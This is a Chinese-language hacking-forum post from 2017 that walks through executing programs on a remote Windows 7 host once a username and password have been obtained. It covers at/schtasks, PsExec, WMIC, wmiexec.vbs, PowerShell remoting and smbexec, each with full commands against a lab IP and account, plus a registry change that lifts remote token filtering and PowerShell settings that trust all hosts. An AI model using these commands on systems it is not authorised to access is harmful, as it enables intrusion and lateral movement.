搜索
查看: 922|回复: 0

如何在远程系统执行程序

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-5-29 13:50:29 | 显示全部楼层 |阅读模式
序言
在我们获得用户名口令后,尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.
目标
远程登陆目标主机执行测试程序
测试环境
远程主机:
  1. ip:192.168.40.137   
  2. 用户名:test
  3. 口令:testtest
  4. 操作系统:win7 x64
  5. 远程登陆方式:
  6. net use远程登陆,不使用3389
复制代码
Tips:
解决工作组环境无法远程登陆执行程序的方法:
  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1
复制代码
测试方法
1、at&schtasks
计划任务方式执行程序。
条件:
启动Task Scheduler服务
2、psexec
PsTools工具之一,在指定的一台或多台计算机上运行应用程序
条件:
需要开放ADMIN$共享
3、WMIC
功能强大,可做系统管理、远程主机信息获取
条件:
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
4、wmiexec
使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。
条件:
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
5、powershell remoting
实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接
条件:
远程连接会有痕迹
本机要开启winRM服务
命令汇总:
  1. 列出所有远程信任主机
  2. powershell Get-Item WSMan:\localhost\Client\TrustedHosts

  3. 设置信任所有主机
  4. powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
  5. 设置允许运行ps1文件
  6. powershell Set-ExecutionPolicy Unrestricted

  7. 执行test.ps1文件
  8. powershell -ExecutionPolicy Bypass -File test.ps1

  9. ps1文件如下:
  10. $UserName = "test"
  11. $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)  
  12. invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
复制代码
6 、python smbexec
随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。
实际测试
使用用户名口令远程登陆192.168.40.137,如图1
查看目标主机共享资源,如图1-2
1、at&schtasks
  1. at \\192.168.40.137
复制代码
找不到网络路径,判断是目标主机已禁用Task Scheduler服务
2、psexec
  1. PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
复制代码
找不到网络名,判断目标主机已禁用ADMIN$共享
3、WMIC
  1. wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
复制代码
Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
4、wmiexec
  1. cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
复制代码
WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
分析
整理下目前掌握的目标主机信息:
目标主机:
1、已获得登陆用户名及口令
2、可以net use连接
3、开放共享C
但是:
1、默认admin$共享关闭,无法使用psexec
2、Task scheduler关闭,无法使用at、schtasks
3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec
4、不支持3389
那么,如何在目标主机远程执行程序?
猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec,它是基于psexec,如果目标主机开放了其他默认共享,倒是可以尝试smbexec
于是搜索smbexec,终于在GitHub上面找到了一个smbexec的c++参考资料,作为工具改进模版
模版下载地址
  1. https://github.com/sunorr/smbexec
复制代码
总结
这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。
  1. at
  2. psexec
  3. WMIC
  4. wmiexec
  5. smbexec
  6. powershell remoting
  7. ...
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表